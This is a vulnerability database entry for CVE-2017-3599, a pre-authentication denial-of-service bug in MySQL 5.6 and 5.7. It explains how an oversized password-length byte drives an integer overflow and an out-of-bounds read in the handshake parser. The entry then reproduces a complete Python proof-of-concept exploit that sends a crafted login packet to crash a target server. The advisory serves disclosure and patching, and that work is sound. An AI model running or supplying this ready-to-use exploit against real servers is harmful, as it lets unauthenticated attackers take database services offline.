Lucene search

K
seebugRootSSV:92976
HistoryApr 19, 2017 - 12:00 a.m.

Pre-Auth MySQL remote DOS (Integer Overflow)(CVE-2017-3599)

2017-04-1900:00:00
Root
www.seebug.org
125

0.957 High

EPSS

Percentile

99.3%

MySQL server is affected by a remote DoS attack, which could be exploited by a remote unauthenticated attacker to cause a loss of availability on the targeted service.

The issue has been verified to affect 5.6.X branch up to 5.6.35 and 5.7.X branch up to 5.7.17. It is strongly recommended that MySQL servers are updated to the latest version.

Upon connection from a client, the server sends a greeting message and the client continues the communication by starting the authentication process. The authentication packet sent by the client contains a wealth of information including the client capabilities, username, password, etc. The packet is received by the server, and parsed by parse_client_handshake_packet() function, in /sql/auth/sql_authentication.cc.

In particular, the following code retrieves the password from the packet:

  passwd= get_length_encoded_string(&end, &bytes_remaining_in_packet,
                                    &passwd_len);

_get_length_encoded_string_ in turn calls _get_56_lenc_string_ function.

The password field in the packet is defined by two values: the length of the password (1 byte), followed by the actual password field content. This length is calculated by calling the net_field_length_ll() function.

my_ulonglong net_field_length_ll(uchar **packet)
{
  uchar *pos= *packet;
  if (*pos < 251)
  {
    (*packet)++;
    return (my_ulonglong) *pos;
  }
  if (*pos == 251)
  {
    (*packet)++;
    return (my_ulonglong) NULL_LENGTH;
  }
  if (*pos == 252)
  {
    (*packet)+=3;
    return (my_ulonglong) uint2korr(pos+1);
  }
  if (*pos == 253)
  {
    (*packet)+=4;
    return (my_ulonglong) uint3korr(pos+1);
  }
  (*packet)+=9;					/* Must be 254 when here */
  return (my_ulonglong) uint8korr(pos+1);
}

As shown in the code above, if the buffer sent to the MySQL server points to a length of \xFF, the pointer to the packet would be increased by 9 bytes.

If an attacker sends an authentication packet with a password length of \xFE or \xFF with less than 9 bytes following that value, the net_field_length_ll function will position the pointer to the packet outside the boundaries of the variable.

The get_56_lenc_string function will continue the execution calculating the number of bytes remaining in the packet.

The instruction max_bytes_available -= len_len will provoke an integer overflow where the value of max_bytes_available will become a very large unsigned integer.

The next time get_string function is called, it will make memchr read out of boundaries and exit with a segmentation fault.

A Proof of Concept code for this vulnerability has been released.

References:

Oracle Critical Patch Update


                                                import socket 
import sys
from struct import pack

'''
CVE-2017-3599 Proof of Concept exploit code.
https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos/
Rodrigo Marcos
'''

if len(sys.argv)<2:

	print "Usage: python " + sys.argv[0] + " host [port]"
	exit(0)

else:
	HOST = sys.argv[1]

	if len(sys.argv)>2:
		PORT = int(sys.argv[2]) # Yes, no error checking... living on the wild side!
	else:
		PORT = 3306

print "[+] Creating packet..."

'''
3 bytes		Packet lenth
1 bytes 	Packet number
Login request:
Packet format (when the server is 4.1 or newer):
Bytes       Content
-----       ----
4           client capabilities
4           max packet size
1           charset number
23          reserved (always 0)
n           user name, \0-terminated
n           plugin auth data (e.g. scramble), length encoded
n           database name, \0-terminated
            (if CLIENT_CONNECT_WITH_DB is set in the capabilities)
n           client auth plugin name - \0-terminated string,
            (if CLIENT_PLUGIN_AUTH is set in the capabilities)
'''

# packet_len = '\x64\x00\x00'

packet_num = '\x01'

#Login request packet
packet_cap = '\x85\xa2\xbf\x01'		# client capabilities (default)
packet_max = '\x00\x00\x00\x01'		# max packet size (default)
packet_cset = '\x21'				# charset (default)
p_reserved = '\x00' * 23 			# 23 bytes reserved with nulls (default)
packet_usr =  'test\x00' 			# username null terminated (default)

packet_auth  = '\xff'			# both \xff and \xfe crash the server

'''
Conditions to crash:
1 - packet_auth must start with \xff or \xfe
2 - packet_auth must be shorter than 8 chars
The expected value is the password, which could be of two different formats
(null terminated or length encoded) depending on the client functionality.
'''

packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth 
packet_len = pack('i',len(packet))[:3]

request = packet_len + packet_num + packet

print "[+] Connecting to host..."
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST, PORT))
	print "[+] Connected."

except:
	print "[+] Unable to connect to host " + HOST + " on port " + str(PORT) + "."	
	s.close()
	print "[+] Exiting."
	exit(0)

print "[+] Receiving greeting from remote host..."
data = s.recv(1024)
print "[+] Done."

print "[+] Sending our payload..."
s.send(request)
print "[+] Done."
#print "Our data: %r" % request

s.close()